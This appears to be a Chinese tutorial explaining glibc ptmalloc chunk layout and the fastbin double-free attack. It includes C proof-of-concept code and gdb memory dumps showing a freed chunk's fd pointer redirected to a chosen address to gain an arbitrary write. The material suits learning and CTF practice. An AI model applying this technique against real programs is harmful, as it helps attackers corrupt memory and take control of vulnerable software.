ptmalloc
ptmalloc的基本思路是将堆上的内存区域划分为多个chunk,在分配/回收内存时,对chunk进行分割、回收等操作。在32位系统下,chunk头的大小为8 Bytes,且每个chunk的大小也是8 Bytes的整数倍。
chunk头包括以下两部分:
prev_size: 如果当前chunk的相邻前一chunk未被使用,prev_size为此前一chunk的大小 size: 当前chunk的大小。由于chunk大小是8的整数倍,所以此size的后3 bit被用于存储其他信息。我们需要记住的便是最低bit,即图中P的位置,用于指示前一chunk是否已被使用(PREV_INUSE)。
如果当前chunk处于未被使用状态,则mem前8 bytes被用来存储其他信息,具体如下:
fd: 下一个未被使用的chunk的地址 bk: 上一个未被使用的chunk的地址
chunk结构
struct malloc_chunk { INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */ INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; /* Only used for large blocks: pointer to next larger size. */ struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ struct malloc_chunk* bk_nextsize; }; typedef struct malloc_chunk* mchunkptr;
Allocated chunk:
在图中,chunk 指针指向一个 chunk 的开始,一个 chunk 中包含了用户请求的内存区域和相关的控制信息。
图中的 mem 指针才是真正返回给用户的内存指针。
chunk 的第二个域的最低一位为 P,它表示前一个块是否在使用中,P 为 0 则表示前一个 chunk 为空闲(并非指链表中的前一个堆块,而是连续内存中的前一块内存),这时 chunk 的第一个域 prev_size 才有效,prev_size 表示前一个 chunk 的 size,程序可以使用这个值来找到前一个 chunk 的开始地址。
当 P 为 1 时,表示前一个 chunk 正在使用中,prev_size无效,程序也就不可以得到前一个 chunk 的大小。不能对前一个 chunk 进行任何操作。ptmalloc 分配的第一个块总是将 P 设为 1,以防止程序引用到不存在的区域。
Chunk的第二个域的倒数第二个位为M,他表示当前chunk是从哪个内存区域获得的虚拟内存。M 为 1 表示该 chunk 是从 mmap 映射区域分配的,否则是从 heap 区域分配的。
Chunk 的第二个域倒数第三个位为 A,表示该 chunk 属于主分配区或者非主分配区,如果属于非主分配区,将该位置为 1,否则置为 0。
对于32位机,8字节对齐,对于64位机,16字节对齐
32位机中,一个使用中的 chunk 的大小的计算公式应该是: in_use_size = (用户请求大小+ 8 - 4 ) align to 8B,这里加 8 是因为需要存储 prev_size 和 size, 但又因为向下一个 chunk“借”了 4B,所以要减去 4。
Chunk可分为4类:1)allocated chunk;2)free chunk; 3)top chunk; 4)Last remainder chunk。
从本质上来说,所有类型的chunk都是内存中一块连续的区域,只是通过该区域中特定位置的某些标识符加以区分。allocated chunk表示已经分配给用户使用的chunk;free chunk表示未使用的chunk。
Fastbin Attack
glibc通过fastbin来管理⻓度较小的堆块。fastbin所包含chunk的大小为16 Bytes, 24 Bytes, 32 Bytes, … , 80 Bytes。当分配一块较小的内存(mem<=64 Bytes)时,会首先检查对应大小的fastbin中是否包含未被使用的chunk,如果存在则直接将其从fastbin中移除并返回;否则通过其他方式(剪切top chunk)得到一块符合大小要求的chunk并返回。
fastbin特点:
• 单链表结构
• 遵循LIFO(Last In First Out)的分配策略
• 每次加⼊入新的堆块时会检查
该堆块是否为链表头节点
fastbin攻击原理
fastbin attack 存在的原因在于 fastbin 是使用单链表来维护释放的堆块的,并且由 fastbin 管理的 chunk 即使被释放,其 next_chunk 的 prev_inuse 位也不会被清空。
1. Double Free
Fastbin Double Free 是指 fastbin 的 chunk 可以被多次释放,因此可以在 fastbin 链表中存在多次。这样导致的后果是多次分配可以从 fastbin 链表中取出同一个堆块,相当于多个指针指向同一个堆块,结合堆块的数据内容可以实现类似于类型混淆的效果。Fastbin Double Free 能够成功利用主要有两部分的原因:一是fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空;二是fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块,即链表指针头部的块。对于链表后面的块,并没有进行验证。
int main(void) { void *chunk1,*chunk2,*chunk3; chunk1=malloc(0x10); chunk2=malloc(0x10); free(chunk1); free(chunk2); free(chunk1); return 0; }
因为chunk1 被再次释放其 fd 值不再为0而是指向chunk2,如果控制 chunk1 的内容,便可以写入其 fd 指针从而实现在我们想要的任意地址分配 fastbin 块。
示例代码:
#include <stdio.h> #include <stdlib.h> typedef struct _chunk { long long pre_size; long long size; long long fd; long long bk; } CHUNK,*PCHUNK; CHUNK bss_chunk; int main(void) { void *chunk1,*chunk2,*chunk3; void *chunk_a,*chunk_b; bss_chunk.size=0x21; //注意,在malloc时会检查chunk的size,如果其 size 与当前 fastbin 链表应有 size 不符就会抛出异常。 chunk1=malloc(0x10); chunk2=malloc(0x10); free(chunk1); free(chunk2); free(chunk1); chunk_a=malloc(0x10); *(long long *)chunk_a=&bss_chunk; malloc(0x10); malloc(0x10); chunk_b=malloc(0x10); printf("%p",chunk_b); return 0; }
当程序执行到free(chunk2)后,ptmalloc是管理fastbin的方法:
gdb-peda$ x/20xg 0x602000 0x602000: 0x0000000000000000 0x0000000000000021 ————————>chunk1 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000021 ————————>chunk2 0x602030: 0x0000000000602000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000020fc1 ————————>top chunk 0x602050: 0x0000000000000000 0x0000000000000000 0x602060: 0x0000000000000000 0x0000000000000000 0x602070: 0x0000000000000000 0x0000000000000000 0x602080: 0x0000000000000000 0x0000000000000000 0x602090: 0x0000000000000000 0x0000000000000000
此时chunk2的fd指向chunk1,而chunk1的fd为空,fastbin链表为main_arena=>chunk2=>chunk1。再次执行free(chunk1)后
gdb-peda$ x/20xg 0x602000 0x602000: 0x0000000000000000 0x0000000000000021 ————————>chunk1 0x602010: 0x0000000000602020 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000021 ————————>chunk2 0x602030: 0x0000000000602000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000020fc1 ————————>top chunk 0x602050: 0x0000000000000000 0x0000000000000000 0x602060: 0x0000000000000000 0x0000000000000000 0x602070: 0x0000000000000000 0x0000000000000000 0x602080: 0x0000000000000000 0x0000000000000000 0x602090: 0x0000000000000000 0x0000000000000000
此时chunk2的fd指向chunk1,而chunk1的fd指向chunk2,fastbin链表为main_arena=>chunk1=>chunk2=>chunk1。
gdb-peda$ p main_arena $1 = { mutex = 0x0, flags = 0x0, fastbinsY = {0x602000, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
此时申请chunk_a,fastbin链表为main_arena=>chunk2=>chunk_a=>chunk2。并将chunk_a的指针域修改为要修改的地址-0x10以上(此处选择的是bss_chunk:0x601080)
gdb-peda$ p main_arena $2 = { mutex = 0x0, flags = 0x0, fastbinsY = {0x602020, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, top = 0x602040,
0x602000: 0x0000000000000000 0x0000000000000021 ————————>chunk_a 0x602010: 0x0000000000602000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000021 ————————>chunk2 0x602030: 0x0000000000602000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000020fc1 ————————>top chunk 0x602050: 0x0000000000000000 0x0000000000000000 0x602060: 0x0000000000000000 0x0000000000000000 0x602070: 0x0000000000000000 0x0000000000000000 0x602080: 0x0000000000000000 0x0000000000000000 0x602090: 0x0000000000000000 0x0000000000000000
并将chunk_a的指针域修改为要修改的地址-0x10以上(此处选择的是bss_chunk:0x601080)
gdb-peda$ p main_arena $3 = { mutex = 0x0, flags = 0x0, fastbinsY = {0x602020, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, gdb-peda$ x/20xg 0x602000 0x602000: 0x0000000000000000 0x0000000000000021 0x602010: 0x0000000000601080 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000021 0x602030: 0x0000000000602000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000020fc1 0x602050: 0x0000000000000000 0x0000000000000000
chunk1 的 fd 指针指向 bss 段上的 bss_chunk,fastbin链表为main_arena=>chunk2=>chunk_a=>malloc_hook(bss_chunk)。
申请一个new chunk 2:
gdb-peda$ p main_arena $4 = { mutex = 0x0, flags = 0x0, fastbinsY = {0x602000, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, top = 0x602040,
gdb-peda$ x/20xg 0x602000 0x602000: 0x0000000000000000 0x0000000000000021 ————————>chunk_a 0x602010: 0x0000000000601080 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000021 ————————>chunk2 0x602030: 0x0000000000602000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000020fc1 ————————>top chunk 0x602050: 0x0000000000000000 0x0000000000000000 0x602060: 0x0000000000000000 0x0000000000000000 0x602070: 0x0000000000000000 0x0000000000000000 0x602080: 0x0000000000000000 0x0000000000000000 0x602090: 0x0000000000000000 0x0000000000000000
此时new chunk2被申请后,fastbin链表为main_arena=>chunk_a=>bss_chunk。
再申请一个new chunk 3(new chunk 3是和chunk_a重合的)
gdb-peda$ p main_arena $5 = { mutex = 0x0, flags = 0x0, fastbinsY = {0x601080 <bss_chunk>, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
gdb-peda$ x/20xg 0x602000 0x602000: 0x0000000000000000 0x0000000000000021 0x602010: 0x0000000000601080 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000021 0x602030: 0x0000000000602000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000020fc1 0x602050: 0x0000000000000000 0x0000000000000000 0x602060: 0x0000000000000000 0x0000000000000000 0x602070: 0x0000000000000000 0x0000000000000000 0x602080: 0x0000000000000000 0x0000000000000000 0x602090: 0x0000000000000000 0x0000000000000000
此时new chunk 3与chunk_a重合,fastbin链表为main_arena=>bss_chunk已经指向了我们想要修改的地址了,只要再申请一个堆块就会申请到想要修改的地址,然后只要编辑这个堆块便可完成任意地址写。
gdb-peda$ c Continuing. 0x601090[Inferior 1 (process 17012) exited normally] Warning: not running gdb-peda$ x/20xg 0x601080 0x601080 <bss_chunk>: 0x0000000000000000 0x0000000000000000 0x601090 <bss_chunk+16>: 0x0000000000000000 0x0000000000000000 0x6010a0: Cannot access memory at address 0x6010a0
参考
图解fastbin:https://blog.csdn.net/Breeze_CAT/article/details/103788698
ctf-wiki:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/fastbin_attack-zh/
fastbin attack:https://www.cnblogs.com/countfatcode/p/11829124.html